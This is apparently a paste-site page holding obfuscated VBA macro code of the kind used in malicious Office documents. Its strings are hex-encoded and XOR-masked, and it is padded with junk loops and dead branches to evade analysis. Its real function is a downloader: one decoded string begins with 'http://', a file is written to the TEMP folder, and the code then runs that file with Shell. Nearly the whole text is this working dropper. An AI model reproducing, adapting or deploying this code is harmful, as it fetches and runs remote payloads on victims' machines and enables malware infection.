- If Len(XORI(HexToString("390500341B18043D5C66535E"), HexToString("536A6D"))) = Len(XORI(HexToString("191C26021A350521"), HexToString("68466A4E"))) Then
- MsgBox (XORI(HexToString("311B311B1854486255"), HexToString("746943746A")))
- End If
- DoEvents: GnzkNJON = GnzkNJON + 1
- If 831472 = 831472 + 1 Then End
- If 2195 < 76 Then
- MsgBox (XORI(HexToString("381D1A0C3E3E102B5D69"), HexToString("4871716450")))
- End If
- If Len(XORI(HexToString("20242335140805067B52596E"), HexToString("4E616F56"))) = Len(XORI(HexToString("200D33220A3D0C19"), HexToString("5A644472"))) Then
- MsgBox (XORI(HexToString("2C330A3A1B61597448"), HexToString("69417855")))
- End If
- Loop
- If 872113 = 872113 + 1 Then End
- If 2775 < 11 Then
- MsgBox (XORI(HexToString("0516103E071606087A60"), HexToString("4F555164")))
- End If
- If Len(XORI(HexToString("0334001B12383F0061406264"), HexToString("755052"))) = Len(XORI(HexToString("003338152C3D1831"), HexToString("6C674A"))) Then
- MsgBox (XORI(HexToString("373E14353D5565536D"), HexToString("724C665A4F7544")))
- End If
- Put #XGJFDCHXVVI, , WXGHYUAPXWY
- Dim yquomZGb As Integer
- For yquomZGb = 0 To 9
- Dim khnctddD As Integer
- If 379492 = 379492 + 1 Then End
- If 6585 < 31 Then
- MsgBox (XORI(HexToString("130F020B35392C065E4A"), HexToString("4348736C73")))
- End If
- If Len(XORI(HexToString("0A24293B0E290C035D497073"), HexToString("6B6A7A43467856"))) = Len(XORI(HexToString("3F0B1036333E1621"), HexToString("654E7779"))) Then
- MsgBox (XORI(HexToString("33333C360667545760"), HexToString("76414E59744775")))
- End If
- khnctddD = 4
- Do While khnctddD < 15
- If 713896 = 713896 + 1 Then End
- If 7671 < 94 Then
- MsgBox (XORI(HexToString("30280A3A21062727567D"), HexToString("486564")))
- End If
- If Len(XORI(HexToString("083422110C3F1F2E414C6040"), HexToString("6D4470745474"))) = Len(XORI(HexToString("1B23062C1D22071F"), HexToString("4D66637955746C"))) Then
- MsgBox (XORI(HexToString("3139281B397A556A7B"), HexToString("744B5A")))
- End If
- DoEvents: khnctddD = khnctddD + 1
- If 542327 = 542327 + 1 Then End
- If 9113 < 56 Then
- MsgBox (XORI(HexToString("311F2D23203E17237E58"), HexToString("69724F4A6E")))
- End If
- If Len(XORI(HexToString("3225172C37231A0567494070"), HexToString("56717644"))) = Len(XORI(HexToString("1C063B3D2A0C2208"), HexToString("5A696967"))) Then
- MsgBox (XORI(HexToString("0C22232D3B70706368"), HexToString("49505142")))
- End If
- Loop
- If 238748 = 238748 + 1 Then End
- If 2829 < 46 Then
- MsgBox (XORI(HexToString("031D123C11380B335E5C"), HexToString("4E64686B6341")))
- End If
- If Len(XORI(HexToString("080415291C03132F46535C4B"), HexToString("49736164786165"))) = Len(XORI(HexToString("3F29280C20331C2F"), HexToString("70596C4B"))) Then
- MsgBox (XORI(HexToString("2807350531494C5466"), HexToString("6D75476A4369")))
- End If
- DoEvents
- Next yquomZGb
- Dim eNMBZQwI As Integer
- If 915865 = 915865 + 1 Then End
- If 9965 < 55 Then
- MsgBox (XORI(HexToString("310C12233735360F685D"), HexToString("5978596A6476")))
- End If
- If Len(XORI(HexToString("240201210935122F467A5D42"), HexToString("426C77"))) = Len(XORI(HexToString("3E380321091A3A27"), HexToString("794A627078"))) Then
- MsgBox (XORI(HexToString("0D15132B3468464065"), HexToString("4867614446")))
- End If
- eNMBZQwI = 1
- Do While eNMBZQwI < 82
- If 114336 = 114336 + 1 Then End
- If 7892 < 72 Then
- MsgBox (XORI(HexToString("09281E00142E23284678"), HexToString("734C544A")))
- End If
- If Len(XORI(HexToString("11002206040E1E0D5A5D5C5A"), HexToString("6B6C6A6F"))) = Len(XORI(HexToString("243F23211F270734"), HexToString("676E446565756B"))) Then
- MsgBox (XORI(HexToString("203615241764466A44"), HexToString("6544674B")))
- End If
- DoEvents: eNMBZQwI = eNMBZQwI + 1
- If 269381 = 269381 + 1 Then End
- If 2599 < 71 Then
- MsgBox (XORI(HexToString("2B2F1C041D123E324942"), HexToString("71667A716876")))
- End If
- If Len(XORI(HexToString("010B2F3A20231E1B51567672"), HexToString("6F6E6262434B"))) = Len(XORI(HexToString("000A01213605203E"), HexToString("7A5379516F416F"))) Then
- MsgBox (XORI(HexToString("220B043D1559577346"), HexToString("67797652")))
- End If
- Loop
- If 331169 = 331169 + 1 Then End
- If 9259 < 38 Then
- MsgBox (XORI(HexToString("271622333B23103B5040"), HexToString("4D534F6172")))
- End If
- If Len(XORI(HexToString("240636200F2103057A7B6844"), HexToString("4E4F5A77"))) = Len(XORI(HexToString("342C0F29211A0A3D"), HexToString("475643"))) Then
- MsgBox (XORI(HexToString("261913293362424A40"), HexToString("636B61464142")))
- End If
- Close #XGJFDCHXVVI
- Dim lQKfhkXv As Integer
- For lQKfhkXv = 0 To 5
- Dim kgTrccFH As Integer
- If 561921 = 561921 + 1 Then End
- If 3183 < 86 Then
- MsgBox (XORI(HexToString("082500392C213E23426C"), HexToString("45706A7154")))
- End If
- If Len(XORI(HexToString("2222072B1A22052275415240"), HexToString("6777414375"))) = Len(XORI(HexToString("0313270D1D2B0205"), HexToString("77624C48765147"))) Then
- MsgBox (XORI(HexToString("0924372A006C776464"), HexToString("4C56454572")))
- End If
- kgTrccFH = 4
- Do While kgTrccFH < 77
- If 224323 = 224323 + 1 Then End
- If 8992 < 83 Then
- MsgBox (XORI(HexToString("0B260B3E153109266545"), HexToString("53704250")))
- End If
- If Len(XORI(HexToString("3F370D0F20290F2A5F647B73"), HexToString("4F41456653"))) = Len(XORI(HexToString("3E290924261D1332"), HexToString("4A636177527177"))) Then
- MsgBox (XORI(HexToString("003A241D3768775364"), HexToString("45485672")))
- End If
- DoEvents: kgTrccFH = kgTrccFH + 1
- If 137177 = 137177 + 1 Then End
- If 7864 < 44 Then
- MsgBox (XORI(HexToString("3B213A212F030A2E7B7B"), HexToString("434D486C")))
- End If
- If Len(XORI(HexToString("2A02292D08390B0173406059"), HexToString("536E474171"))) = Len(XORI(HexToString("2F241733330A0E0B"), HexToString("6667656A544D54"))) Then
- MsgBox (XORI(HexToString("0939100A1A6C6A4344"), HexToString("4C4B626568")))
- End If
- Loop
- If 518986 = 518986 + 1 Then End
- If 2838 < 22 Then
- MsgBox (XORI(HexToString("1F012700353424137473"), HexToString("784D4671596175")))
- End If
- If Len(XORI(HexToString("391C151F233A0419434C6251"), HexToString("63707A55695648"))) = Len(XORI(HexToString("3E162E3E1411332D"), HexToString("464567"))) Then
- MsgBox (XORI(HexToString("232327192448477074"), HexToString("665155765668")))
- End If
- DoEvents
- Next lQKfhkXv
- Dim eBVPIYGy As Integer
- If 594914 = 594914 + 1 Then End
- If 8639 < 42 Then
- MsgBox (XORI(HexToString("3E3F183010261B357842"), HexToString("74714D")))
- End If
- If Len(XORI(HexToString("210B19051F172A2244714345"), HexToString("487A76"))) = Len(XORI(HexToString("16281A1E37060F34"), HexToString("596E49774664"))) Then
- MsgBox (XORI(HexToString("0736192B3872666365"), HexToString("42446B444A5247")))
- End If
- eBVPIYGy = 1
- Do While eBVPIYGy < 44
- If 483264 = 483264 + 1 Then End
- If 7887 < 72 Then
- MsgBox (XORI(HexToString("1B1220352E352C3C4E44"), HexToString("7677757A")))
- End If
- If Len(XORI(HexToString("223D1508232B020953795055"), HexToString("646B4F63627276"))) = Len(XORI(HexToString("331C153005130809"), HexToString("704F655647"))) Then
- MsgBox (XORI(HexToString("34391C1C036B4F5250"), HexToString("714B6E73")))
- End If
- DoEvents: eBVPIYGy = eBVPIYGy + 1
- If 451798 = 451798 + 1 Then End
- If 7217 < 47 Then
- MsgBox (XORI(HexToString("07020E0B233E063D4C68"), HexToString("436C7959597A")))
- End If
- If Len(XORI(HexToString("272712272615183B6042635C"), HexToString("55775176546D"))) = Len(XORI(HexToString("391F1C080007011A"), HexToString("6D78724A7350"))) Then
- MsgBox (XORI(HexToString("0F223E361D6A716D78"), HexToString("4A504C596F")))
- End If
- Loop
- If 325168 = 325168 + 1 Then End
- If 6216 < 66 Then
- MsgBox (XORI(HexToString("202E0E311521040F4C59"), HexToString("4B4D56746F")))
- End If
- If Len(XORI(HexToString("1605093B181E11027676575F"), HexToString("54414761695143"))) = Len(XORI(HexToString("34013507003F3230"), HexToString("7978436E74"))) Then
- MsgBox (XORI(HexToString("170100270A72525369"), HexToString("5273724878")))
- End If
- Dim AHZQJMJWIZG
- Dim FhFTaXXg As Integer
- For FhFTaXXg = 0 To 9
- Dim NkgbWren As Integer
- If 312795 = 312795 + 1 Then End
- If 9692 < 62 Then
- MsgBox (XORI(HexToString("333021321303003A7353"), HexToString("7A594267654C")))
- End If
- If Len(XORI(HexToString("3E250E29101B392764596379"), HexToString("554C435061"))) = Len(XORI(HexToString("0526143D0B051D3B"), HexToString("497777516773"))) Then
- MsgBox (XORI(HexToString("2A260025246A694E75"), HexToString("6F54724A564A48")))
- End If
- NkgbWren = 1
- Do While NkgbWren < 47
- If 599652 = 599652 + 1 Then End
- If 2845 < 22 Then
- MsgBox (XORI(HexToString("331B1B1B27303602685C"), HexToString("54516E5168")))
- End If
- If Len(XORI(HexToString("301D2A2D1F34353C5940757B"), HexToString("6A764D4E"))) = Len(XORI(HexToString("0825150E15233B1F"), HexToString("6B7451"))) Then
- MsgBox (XORI(HexToString("26002B0A0A43537844"), HexToString("6372596578")))
- End If
- DoEvents: NkgbWren = NkgbWren + 1
- If 336886 = 336886 + 1 Then End
- If 9753 < 63 Then
- MsgBox (XORI(HexToString("2F0401001200120A6764"), HexToString("766256515561")))
- End If
- If Len(XORI(HexToString("2E2D1C2103382E3F44697364"), HexToString("444B70504252"))) = Len(XORI(HexToString("121B2724272F2B08"), HexToString("59507052776863"))) Then
- MsgBox (XORI(HexToString("2911210800417B4D42"), HexToString("6C63536772615A")))
- End If
- Loop
- If 515587 = 515587 + 1 Then End
- If 2993 < 23 Then
- MsgBox (XORI(HexToString("1F3938060126342F4E7C"), HexToString("796177495145")))
- End If
- If Len(XORI(HexToString("09342709363D11187F5A556D"), HexToString("484C6D6159526B"))) = Len(XORI(HexToString("3C121113201E2C0C"), HexToString("445A79"))) Then
- MsgBox (XORI(HexToString("043E3D0A08616D6E44"), HexToString("414C4F657A")))
- End If
- DoEvents
- Next FhFTaXXg
- Dim gIJjzHcn As Integer
- If 758949 = 758949 + 1 Then End
- If 1281 < 77 Then
- MsgBox (XORI(HexToString("3E1520381B2C300D4B7A"), HexToString("4A544F7348")))
- End If
- If Len(XORI(HexToString("021D19370A0A2F277D417B7D"), HexToString("754E49"))) = Len(XORI(HexToString("2705080829131728"), HexToString("646D6E6C71"))) Then
- MsgBox (XORI(HexToString("1110343B1066754367"), HexToString("546246")))
- End If
- gIJjzHcn = 1
- Do While gIJjzHcn < 46
- If 946839 = 946839 + 1 Then End
- If 3424 < 37 Then
- MsgBox (XORI(HexToString("10300C040903160B5D55"), HexToString("52696D6F674655")))
- End If
- If Len(XORI(HexToString("1427300C1C1B0F025C70525E"), HexToString("78666842656A"))) = Len(XORI(HexToString("090B353C15321A03"), HexToString("486370644F"))) Then
- MsgBox (XORI(HexToString("083E1C3A3F6C4F746C"), HexToString("4D4C6E55")))
- End If
- DoEvents: gIJjzHcn = gIJjzHcn + 1
- If 246788 = 246788 + 1 Then End
- If 6267 < 27 Then
- MsgBox (XORI(HexToString("0E1201212A0128036955"), HexToString("5A644364")))
- End If
- If Len(XORI(HexToString("310E16041A122D3750754B65"), HexToString("69417854"))) = Len(XORI(HexToString("2C2326192336363D"), HexToString("4F47434F"))) Then
- MsgBox (XORI(HexToString("3022361A2264547165"), HexToString("755044")))
- End If
- Loop
- If 838218 = 838218 + 1 Then End
- If 2347 < 26 Then
- MsgBox (XORI(HexToString("32022636370E3A17654F"), HexToString("797456")))
- End If
- If Len(XORI(HexToString("271C03241A2F1D0269545554"), HexToString("455A656D634851"))) = Len(XORI(HexToString("3C3C211F04060135"), HexToString("50557279466B78"))) Then
- MsgBox (XORI(HexToString("08222124186D71726A"), HexToString("4D50534B6A")))
- End If
- AHZQJMJWIZG = Shell(AKFQBNJCZGL, 1)
- Dim iVgETSJE As Integer
- For iVgETSJE = 0 To 4
- Dim SLlusfVl As Integer
- If 545528 = 545528 + 1 Then End
- If 3948 < 95 Then
- MsgBox (XORI(HexToString("311400262423301D7850"), HexToString("72624A4C67")))
- End If
- If Len(XORI(HexToString("17143F001B0E07336F756546"), HexToString("4E6259475474"))) = Len(XORI(HexToString("3C013B371E0A1839"), HexToString("55647152"))) Then
- MsgBox (XORI(HexToString("140235072350664970"), HexToString("51704768")))
- End If
- SLlusfVl = 5
- Do While SLlusfVl < 88
- If 489841 = 489841 + 1 Then End
- If 1747 < 11 Then
- MsgBox (XORI(HexToString("3B1C1C3A1A0D3A295D7D"), HexToString("524C654E6B54")))
- End If
- If Len(XORI(HexToString("1B19153D2718142E41595044"), HexToString("6C6873"))) = Len(XORI(HexToString("33352C1815290906"), HexToString("596768724F4A"))) Then
- MsgBox (XORI(HexToString("2A27111A1D7542544E"), HexToString("6F556375")))
- End If
- DoEvents: SLlusfVl = SLlusfVl + 1
- If 853459 = 853459 + 1 Then End
- If 6927 < 25 Then
- MsgBox (XORI(HexToString("150301323C373F3D6365"), HexToString("7359535452")))
- End If
- If Len(XORI(HexToString("0A15372928280F237665557C"), HexToString("494F566D4E4D64"))) = Len(XORI(HexToString("20343F0102322B15"), HexToString("564D6D4F757361"))) Then
- MsgBox (XORI(HexToString("2F28220A1D714B7B71"), HexToString("6A5A50656F51")))
- End If
- Loop
- If 197745 = 197745 + 1 Then End
- If 7726 < 71 Then
- MsgBox (XORI(HexToString("02193436023D292B7F5F"), HexToString("4A4A6C74476943")))
- End If
- If Len(XORI(HexToString("32221E12300030025273665C"), HexToString("46516A"))) = Len(XORI(HexToString("171B2D140C13251B"), HexToString("554F6865416B76"))) Then
- MsgBox (XORI(HexToString("3D3B130D0558684043"), HexToString("7849616277")))
- End If
- DoEvents
- Next iVgETSJE
- Dim SMkgUnGu As Integer
- If 285783 = 285783 + 1 Then End
- If 5648 < 22 Then
- MsgBox (XORI(HexToString("123E0A29032C2A2E4373"), HexToString("48664C7046")))
- End If
- If Len(XORI(HexToString("3F393C0F21143B004B74657B"), HexToString("734C5449"))) = Len(XORI(HexToString("063B250F2F063C09"), HexToString("6B6B696E"))) Then
- MsgBox (XORI(HexToString("1728360A22464B737B"), HexToString("525A446550666A")))
- End If
- SMkgUnGu = 5
- Do While SMkgUnGu < 23
- If 189745 = 189745 + 1 Then End
- If 4853 < 42 Then
- MsgBox (XORI(HexToString("11310B2D110815275070"), HexToString("6543674B")))
- End If
- If Len(XORI(HexToString("07241E282807273445504055"), HexToString("71667A7067"))) = Len(XORI(HexToString("0A060C25142A370C"), HexToString("5342416F6142"))) Then
- MsgBox (XORI(HexToString("2E0B1517184F6F4A58"), HexToString("6B7967786A6F4E")))
- End If
- DoEvents: SMkgUnGu = SMkgUnGu + 1
- If 137877 = 137877 + 1 Then End
- If 4969 < 15 Then
- MsgBox (XORI(HexToString("0C1F0E0D302B16097B5F"), HexToString("7A744C4966")))
- End If
- If Len(XORI(HexToString("26270D233F0C213056425255"), HexToString("6166636E71"))) = Len(XORI(HexToString("08171E1F181F050F"), HexToString("62636C767154"))) Then
- MsgBox (XORI(HexToString("0624022C2450627751"), HexToString("435670")))
- End If
- Loop
- If 848211 = 848211 + 1 Then End
- If 2447 < 27 Then
- MsgBox (XORI(HexToString("1110290A3C092F297D62"), HexToString("5A454E")))
- End If
- If Len(XORI(HexToString("3B11283F2307280370457D5F"), HexToString("4D5243764468"))) = Len(XORI(HexToString("182204362112200C"), HexToString("744A4E5048"))) Then
- MsgBox (XORI(HexToString("321D28181D7A564E7B"), HexToString("776F5A")))
- End If
- Set LHKDBMKRMVZ = Nothing
- Dim IVDOPqoi As Integer
- For IVDOPqoi = 0 To 5
- Dim KpwBGfKy As Integer
- If 592124 = 592124 + 1 Then End
- If 8611 < 52 Then
- MsgBox (XORI(HexToString("052A25130E0238277579"), HexToString("4964464B5A6A")))
- End If
- If Len(XORI(HexToString("2235302036102B0B6B5A6477"), HexToString("524572526F"))) = Len(XORI(HexToString("331B222021261420"), HexToString("50774E41"))) Then
- MsgBox (XORI(HexToString("20372225114564716B"), HexToString("6545504A63")))
- End If
- KpwBGfKy = 6
- Do While KpwBGfKy < 64
- If 213723 = 213723 + 1 Then End
- If 3768 < 31 Then
- MsgBox (XORI(HexToString("200A0725161F0C3F6544"), HexToString("76527169657147")))
- End If
- If Len(XORI(HexToString("261535072A272B3C525A7E7E"), HexToString("72666F4C476B6D"))) = Len(XORI(HexToString("0C27201330271C08"), HexToString("6E734170566566"))) Then
- MsgBox (XORI(HexToString("2C343F06346D48676C"), HexToString("69464D")))
- End If
- DoEvents: KpwBGfKy = KpwBGfKy + 1
- If 812554 = 812554 + 1 Then End
- If 3715 < 83 Then
- MsgBox (XORI(HexToString("1E2E3C0B1725372E7C79"), HexToString("784B4A61656859")))
- End If
- If Len(XORI(HexToString("1F223E272E080E09656F7B73"), HexToString("4D4670515A"))) = Len(XORI(HexToString("2828353D3703183F"), HexToString("5162706C"))) Then
- MsgBox (XORI(HexToString("2C3A3A060064464869"), HexToString("69484869724467")))
- End If
- Loop
- If 465263 = 465263 + 1 Then End
- If 4393 < 61 Then
- MsgBox (XORI(HexToString("1F21041E331F0B234D64"), HexToString("6643557555")))
- End If
- If Len(XORI(HexToString("253424090B01303B54544654"), HexToString("617363"))) = Len(XORI(HexToString("23282B1E3E3E3435"), HexToString("76474D49546C"))) Then
- MsgBox (XORI(HexToString("0D3B211E1E68687250"), HexToString("484953716C")))
- End If
- DoEvents
- Next IVDOPqoi
- Dim KqluqnOL As Integer
- If 961769 = 961769 + 1 Then End
- If 9524 < 36 Then
- MsgBox (XORI(HexToString("3A2E330B0C3C05157563"), HexToString("517744516654")))
- End If
- If Len(XORI(HexToString("110C15153E1A031548584042"), HexToString("767674796B"))) = Len(XORI(HexToString("223F07070B3B1F37"), HexToString("784F706F"))) Then
- MsgBox (XORI(HexToString("300A0221035559516F"), HexToString("7578704E71")))
- End If
- KqluqnOL = 6
- Do While KqluqnOL < 64
- If 255952 = 255952 + 1 Then End
- If 8418 < 87 Then
- MsgBox (XORI(HexToString("270432330E2312387548"), HexToString("5442714B417246")))
- End If
- If Len(XORI(HexToString("0A34342808050115405E5975"), HexToString("79796C6C4D5569"))) = Len(XORI(HexToString("102D051533323F10"), HexToString("654968794B7A"))) Then
- MsgBox (XORI(HexToString("343B340B3F51686745"), HexToString("714946644D")))
- End If
- DoEvents: KqluqnOL = KqluqnOL + 1
- If 518125 = 518125 + 1 Then End
- If 5987 < 25 Then
- MsgBox (XORI(HexToString("3C23150F0133331C6C5B"), HexToString("645A6C42435961")))
- End If
- If Len(XORI(HexToString("0A2F0008063D3E38677F5D66"), HexToString("476E51"))) = Len(XORI(HexToString("3920090D22241A06"), HexToString("4E546E"))) Then
- MsgBox (XORI(HexToString("2E223E23394B716D6D"), HexToString("6B504C4C4B")))
- End If
- Loop
- If 644889 = 644889 + 1 Then End
- If 3287 < 35 Then
- MsgBox (XORI(HexToString("1526050D111B03174576"), HexToString("41744166467248")))
- End If
- If Len(XORI(HexToString("1A0936012A3F1405537C5867"), HexToString("4E4665486D56"))) = Len(XORI(HexToString("2907202E1F030836"), HexToString("4762514856674F"))) Then
- MsgBox (XORI(HexToString("071D22020B6D634E71"), HexToString("426F506D794D")))
- End If
- End Function
- Sub GZQXNGNMUTV()
- Dim zUsGSLKq As Integer
- For zUsGSLKq = 0 To 5
- Dim NkfUhjWd As Integer
- If 731937 = 731937 + 1 Then End
- If 4893 < 14 Then
- MsgBox (XORI(HexToString("2914352A1C29081A794E"), HexToString("4C784262")))
- End If
- If Len(XORI(HexToString("092B113E0C353929706B6043"), HexToString("4D475A56744F6E"))) = Len(XORI(HexToString("17013216242C281F"), HexToString("70424553"))) Then
- MsgBox (XORI(HexToString("3408382A035A6B6450"), HexToString("717A4A45")))
- End If
- NkfUhjWd = 7
- Do While NkfUhjWd < 23
- If 917593 = 917593 + 1 Then End
- If 6823 < 62 Then
- MsgBox (XORI(HexToString("291C33372812151E5F4D"), HexToString("78506B")))
- End If
- If Len(XORI(HexToString("3602210B2E32340254544F5A"), HexToString("786E536363"))) = Len(XORI(HexToString("2A150F3017092F13"), HexToString("67514A"))) Then
- MsgBox (XORI(HexToString("06223D091B4C456271"), HexToString("43504F66696C64")))
- End If
- DoEvents: NkfUhjWd = NkfUhjWd + 1
- If 818755 = 818755 + 1 Then End
- If 6572 < 31 Then
- MsgBox (XORI(HexToString("373E053A2D1E04315456"), HexToString("514A756365")))
- End If
- If Len(XORI(HexToString("34132D3D1F2C15317D625652"), HexToString("626774445A"))) = Len(XORI(HexToString("03051E26302F2B3A"), HexToString("614C6E4A"))) Then
- MsgBox (XORI(HexToString("2E20183A285A4A734B"), HexToString("6B526A555A7A")))
- End If
- Loop
- If 254552 = 254552 + 1 Then End
- If 9494 < 87 Then
- MsgBox (XORI(HexToString("2E0A3128001238254F55"), HexToString("6C6678")))
- End If
- If Len(XORI(HexToString("3520062802171F0D605F7870"), HexToString("516D4C44"))) = Len(XORI(HexToString("22071A0F15222D2A"), HexToString("4B63724D41"))) Then
- MsgBox (XORI(HexToString("2D1134271D68494267"), HexToString("686346486F48")))
- End If
- DoEvents
- Next zUsGSLKq
- Dim dKVGWsVT As Integer
- If 857459 = 857459 + 1 Then End
- If 2275 < 87 Then
- MsgBox (XORI(HexToString("270E141D34341C034848"), HexToString("564B717A4179")))
- End If
- If Len(XORI(HexToString("0C2C3D2408301D2D66525650"), HexToString("62686F5367"))) = Len(XORI(HexToString("1310373910382F2E"), HexToString("767A42"))) Then
- MsgBox (XORI(HexToString("161B13242149406A72"), HexToString("5369614B")))
- End If
- dKVGWsVT = 1
- Do While dKVGWsVT < 48
- If 433278 = 433278 + 1 Then End
- If 7387 < 76 Then
- MsgBox (XORI(HexToString("0339222713073B034C79"), HexToString("754F7277")))
- End If
- If Len(XORI(HexToString("0D1C170F2F3C32217B525773"), HexToString("477043636344"))) = Len(XORI(HexToString("1434311D33161111"), HexToString("5A41557A5971"))) Then
- MsgBox (XORI(HexToString("343004210574655063"), HexToString("7142764E775444")))
- End If
- DoEvents: dKVGWsVT = dKVGWsVT + 1
- If 183273 = 183273 + 1 Then End
- If 5532 < 11 Then
- MsgBox (XORI(HexToString("221C3A09261738275146"), HexToString("54506373484F")))
- End If
- If Len(XORI(HexToString("260A1A391811022440446F6C"), HexToString("6178735659454B"))) = Len(XORI(HexToString("0637161532350413"), HexToString("6D6247"))) Then
- MsgBox (XORI(HexToString("0630351D0A63636653"), HexToString("4342477278")))
- End If
- Loop
- If 913337 = 913337 + 1 Then End
- If 3188 < 35 Then
- MsgBox (XORI(HexToString("181C270B1B121D1E4279"), HexToString("5677764C4245")))
- End If
- If Len(XORI(HexToString("0C2C23260E333F0656706141"), HexToString("5579646249"))) = Len(XORI(HexToString("13061F211E3E293D"), HexToString("5248794D51"))) Then
- MsgBox (XORI(HexToString("0301063B1650675255"), HexToString("467374546470")))
- End If
- vhjvhJVK = XORI(HexToString("04241B3769686B07230626373D3603320E2C7D24260D7E1F2B7C252D027E0A3F36"), HexToString("6C506F47534744"))
- njKBLJ = Environ(XORI(HexToString("04082604"), HexToString("504D6B5465"))) & XORI(HexToString("3B32020F332503032D23130F4916312F"), HexToString("6773494A"))
- RGULTDVHYVP vhjvhJVK, njKBLJ
- End Sub
- Public Function XORI(ByVal NQvcFUBHbjZEz As String, ByVal yDohoStfvz As String) As String
- Dim tSvaKFuOFw As Long
- For tSvaKFuOFw = 1 To Len(NQvcFUBHbjZEz)
- XORI = XORI & Chr(Asc(Mid(yDohoStfvz, IIf(tSvaKFuOFw Mod Len(yDohoStfvz) <> 0, tSvaKFuOFw Mod Len(yDohoStfvz), Len(yDohoStfvz)), 1)) Xor Asc(Mid(NQvcFUBHbjZEz, tSvaKFuOFw, 1)))
- Next tSvaKFuOFw
- End Function
- Public Function HexToString(ByVal FoocNpLYm As String) As String
- Dim lQbBpnhywSoMSO As String
- Dim esOPZ As String
- Dim eHQpJdQ As Long
- For eHQpJdQ = 1 To Len(FoocNpLYm) Step 2
- lQbBpnhywSoMSO = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(FoocNpLYm, eHQpJdQ, 2)))
- esOPZ = esOPZ & lQbBpnhywSoMSO
- Next eHQpJdQ
- HexToString = esOPZ
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement